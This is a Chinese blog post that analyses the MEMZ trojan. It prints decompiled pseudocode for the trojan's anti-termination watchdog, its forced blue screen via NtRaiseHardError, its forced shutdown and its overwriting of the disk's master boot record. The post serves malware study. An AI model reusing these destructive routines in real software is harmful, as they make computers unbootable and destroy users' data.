• 彩虹猫的分析和梳理


    彩虹猫分析

    现象

    image-20211005231951692

    image-20211005232037894

    image-20211005232056866

    image-20211005232235978

    image-20211006222820408

    image-20211005232309896

    image-20211005232332300

    image-20211006222505586

    • 自动弹出多个浏览器搜索窗口
    • 鼠标异常晃动
    • 窗口颜色怪异
    • 反复出现系统提示音
    • 出现6个MEMZ进程

    image-20211006000846246

    image-20211006005748892

    发现调用CryptGenRandom函数

    查输入表

    image-20211006150659774

    控制光标

    image-20211006151742588

    播放声音

    image-20211006152449595

    打开外部程序

    image-20211006152556781

    DrawIcon --绘制图标

    image-20211006152619672

    窗口颜色异常--BitBlt、StretchBlt

    image-20211007191218131

    调用GetCommandLine和CommandLineToArgv两个函数获取命令行参数,之后进入if判断有无参数:

    两个部分:

    有参数部分

    "/watchdog"

    image-20211007191508323

    sub_40114A 监测进程有没有减少,进程减少就会蓝屏关机

    void sub_40114A()
    {
      HANDLE v1; // eax
      HANDLE v2; // edi
      const CHAR *v3; // ebx
      int v4; // esi
      PROCESSENTRY32W pe; // [esp+Ch] [ebp-23Ch]
      LPCSTR lpString1; // [esp+238h] [ebp-10h]
      int v7; // [esp+23Ch] [ebp-Ch]
      LPCSTR lpString2; // [esp+240h] [ebp-8h]
      HANDLE hProcess; // [esp+244h] [ebp-4h]
      int savedregs; // [esp+248h] [ebp+0h]
    
      v7 = 0;
      lpString1 = (LPCSTR)LocalAlloc(0x40u, 0x200u);// 该函数用于从局部堆中分配内存供程序使用
      v1 = GetCurrentProcess();                     // 获取当前进程的一个伪句柄
      GetProcessImageFileNameA(v1, (LPSTR)lpString1, 0x200u);// 获取进程路径
      Sleep(0x3E8u);
      while ( 1 )//死循环
      {
        v2 = CreateToolhelp32Snapshot(2u, 0);       // 获取进程快照。
        pe.dwSize = 556;
        Process32FirstW(v2, &pe);                   // 获得第一个进程的句柄
        v3 = lpString1;
        v4 = 0;
        do
        {
          hProcess = OpenProcess(0x400u, 0, pe.th32ProcessID);// 用来打开一个已存在的进程对象,并返回进程的句柄
          lpString2 = (LPCSTR)LocalAlloc(0x40u, 0x200u);
          GetProcessImageFileNameA(hProcess, (LPSTR)lpString2, 0x200u);
          if ( !lstrcmpA(v3, lpString2) )           // 对比进程路径
            ++v4;                                   // 进程数目
          CloseHandle(hProcess);
          LocalFree((HLOCAL)lpString2);
        }
        while ( Process32NextW(v2, &pe) );
        CloseHandle(v2);
        if ( v4 < v7 )                              // 对比进程数目,v7是最大进程数目
          sub_401021((int)&savedregs);              // 创建线程并导致关机
        v7 = v4;
        Sleep(10u);
      }
    }
    

    sub_401021 创建线程并导致蓝屏关机

    sub_401021()
    {
      v1 = 20;
      do
      {
        CreateThread(0, 0x1000u, StartAddress, 0, 0, 0);// 创建了20个进程
        Sleep(0x64u);
        --v1;
      }
      while ( v1 );
      v2 = v16;
      v16 = a1;
      v9 = v2;
      v3 = LoadLibraryA("ntdll");                   // 将指定的模块加载到调用进程的地址空间中
      v4 = GetProcAddress(v3, "RtlAdjustPrivilege");// 检索指定的动态链接库(DLL)中的输出库函数地址
      v5 = GetProcAddress(v3, "NtRaiseHardError");
        //RtlAdjustPrivilege提权后
        //NtRaiseHardError制造系统蓝屏
      v6 = (void (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v5;
      if ( v4 && v5 )
      {
        ((void (__cdecl *)(signed int, signed int, _DWORD, char *, int, int))v4)(19, 1, 0, (char *)&v15 + 3, v15, v9);
        v6(-1073741790, 0, 0, 0, 6, &v13);
      }
      v7 = GetCurrentProcess();                     // 返回当前线程的虚拟句柄
      OpenProcessToken(v7, 0x28u, &v14);            // 用来打开与进程相关联的访问令牌
      LookupPrivilegeValueW(0, L"SeShutdownPrivilege", (PLUID)&v11);// 查看系统权限的特权值,返回信息到一个LUID结构体里
        //SeShutdownPrivilege关机
      v10 = 1;
      v12 = 2;
      AdjustTokenPrivileges(v14, 0, (PTOKEN_PRIVILEGES)&v10, 0, 0, 0);// 用于启用或禁止,指定访问令牌的特权
      return ExitWindowsEx(6u, 0x10007u);           // 用来退出、重启或注销系统
    }
    

    image-20211007204620583

    在分析sub_401021时,StartAddress这个函数没有办法进去看。输出窗口有一条报错信息。

    image-20211007205654544

    到汇编窗口看这个函数存在堆栈不平衡所以没法反汇编,不过可以直接看它用了什么函数和参数

    fn 、sub_401A55、dword_402AD0

    GetCurrentThreadId、SetWindowsHookExW、UnhookWindowsHookEx

    输出线程id、对窗口下钩子、卸载钩子

    fn 随机窗口大小,生成窗口

    LRESULT __thiscall fn(void *this, int code, WPARAM wParam, LPARAM lParam)
    {
      if ( code == 3 )
      {
        v4 = *(_DWORD **)lParam;
        if ( *(_DWORD *)(*(_DWORD *)lParam + 32) & 0x80400000 )
        {
          v5 = sub_401A55((int)this);               // 生成随机数
          v6 = dword_405184 - v4[5];
          v7 = v5 % v6;
          v8 = sub_401A55(v6);
          v9 = dword_405188 - v4[4];
          v4[7] = v7;
          v4[6] = v8 % v9;
        }
      }
      return CallNextHookEx(0, code, wParam, lParam);// 调用下一个钩子
    }
    

    sub_401A55 生成随机数

    int __fastcall sub_401A55(int a1)
    {
      HCRYPTPROV v1; // eax
      BYTE pbBuffer[4]; // [esp+0h] [ebp-4h]
    
      *(_DWORD *)pbBuffer = a1;
      v1 = hProv;
      if ( !hProv )
      {
        if ( !CryptAcquireContextW(&hProv, (LPCWSTR)hProv, (LPCWSTR)hProv, 1u, 0xF0000040) )
          ExitProcess(1u);
        v1 = hProv;
      }
      CryptGenRandom(v1, 4u, pbBuffer);             // 生成随机数
      return *(_DWORD *)pbBuffer & 0x7FFFFFFF;
    }
    

    dword_402AD0=1A

    lpText 该参数存放的是一些消息,利用v3获取的随机数从26条消息中取出一条显示出来

    image-20211007230559780

    sub_401000 msg=16/22时(窗口被关闭)会被强制关机

    LRESULT __stdcall sub_401000(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
    {
      int savedregs; // [esp+0h] [ebp+0h]
      if ( Msg != 0x10 && Msg != 0x16 )             // 对应WM_CLOSE(当一个窗口或应用程序要关闭时发送一个信号)和WM_ENDSESSION(当系统颜色改变时,发送此消息给所有顶级窗口)
        return DefWindowProcW(hWnd, Msg, wParam, lParam);// 默认窗口处理函数
      sub_401021((int)&savedregs);                  // 创建线程并使蓝屏关机
      return 0;
    }
    

    无参数部分

    可以看到一开始运行病毒弹的消息窗口的内容

    image-20211007233244710

    image-20211007233556868

    两个弹窗都被确认,使用GetModuleFileNameW获取当前进程的路径,当然由LocalAlloc先申请存路径的空间。然后做5次循环,每次都调用ShellExecuteW,参数v10是刚才得到的样本进程路径,以及字符串"/watchdog",即以“/watchdog”为参数,生成5个MEMZ.exe进程。

    此时无参变有参然后程序继续运行

    image-20211007234414776

    接下来ShellExecute函数生成了,一个参数为main的进程。

    main部分

        v2 = CreateFileA("\\.\PhysicalDrive0", 0xC0000000, 3u, 0, 3u, 0, 0);
    // CreateFileA打开文件或I/O设备   //PhysicalDrive0表示本机的物理驱动器0
    //首先打开PhysicalDrive0磁盘
        hObject = v2;     
        if ( v2 == (HANDLE)-1 )
        {
          v12 = 2  
        }
        else
        {
          v3 = 0;
          v4 = LocalAlloc(0x40u, 0x10000u);//从堆中分配0x10000个字节
          v5 = v4;
          do
          {
            ++v3;
            *v5 = v5[byte_402118 - v4];//循环303次写入303字节
            ++v5;
          }
          while ( v3 < 303 );
          //MBR的前446字节为启动代码,写入的303字节会覆盖MBR的启动代码部分。
          //此操作直接破坏了MBR,如此一来无法将控制权转交给操作系统,而是执行病毒写入数据
          v6 = 0;
          do
          {
            v4[v6 + 510] = byte_402248[v6];
            //循环1952次写入1952字节,从510偏移处开始向后写入,这次应该是病毒内容
            ++v6;
          }
          while ( v6 < 1952 );
          if ( !WriteFile(v2, v4, 0x10000u, &NumberOfBytesWritten, 0) )
            JUMPOUT(unk_40139D);
          CloseHandle(hObject);
    

    image-20211008000255675

    这里前两个字节,0x55AA 是MBR的结束标志,表明这是有效的主引导扇区

    然后是向note.txt中写入内容

          v7 = CreateFileA("\note.txt", 0xC0000000, 3u, 0, 2u, 0x80u, 0);
          if ( v7 != (HANDLE)-1
            && WriteFile(
                 v7,
                 "YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN.
    "
                 "
    "
                 "Your computer won't boot up again,
    "
                 "so use it as long as you can!
    "
                 "
    "
                 ":D
    "
                 "
    "
                 "Trying to kill MEMZ will cause your system to be
    "
                 "destroyed instantly, so don't try it :D",
                 0xDAu,
                 &NumberOfBytesWritten,
                 0) )
          {
            CloseHandle(v7);                        // 关闭了一个线程句柄
            ShellExecuteA(0, 0, "notepad", "\note.txt", 0, 10);// 打开外部程序notepad
            v8 = 0;
            v9 = (DWORD *)&off_405130;              // 存了十个有实际效果的函数
            do
            {
              Sleep(v9[1]);
              CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_401A2B, v9, 0, 0);
                // 调用上面的十个函数
              ++v8;
              v9 += 2;
            }
            while ( v8 < 10 );
            while ( 1 )
              Sleep(10000u);
          }
        }
        ExitProcess(v12);
      }
    

    off_405130 里面存放的函数如下 里面有调用光标有弹web窗口的...

    image-20211008005819685

    sub_401A2B 实现函数调用

    void __stdcall __noreturn sub_401A2B(LPVOID lpThreadParameter)
    {
      v1 = 0;
      v2 = 0;
      v3 = 0;
      while ( 1 )
      {
        v4 = v1--;
        if ( !v4 )
          v1 = (*(int (__cdecl **)(int, int))lpThreadParameter)(v2++, v3);
        ++v3;
        Sleep(0xAu);
      }
    }
    

    以上就把这个病毒大致梳理了一遍,下面学习它的原理。

  • 相关阅读:
    CSS去掉 a 标签点击后出现的虚线框
    AMD 和 CMD的区别
    sublime text常用快捷键
    jsonp详解
    JSON详解
    JS知识总结
    input 单选按钮radio 取消选中(转载)
    koala 编译scss不支持中文解决方案
    Spring事务的传播行为 @Transactional(转)
    Ubuntu下JDK+Tomcat+MySql环境的搭建
  • 原文地址:https://www.cnblogs.com/Nickyl07/p/15377815.html
Copyright © 2020-2023  润新知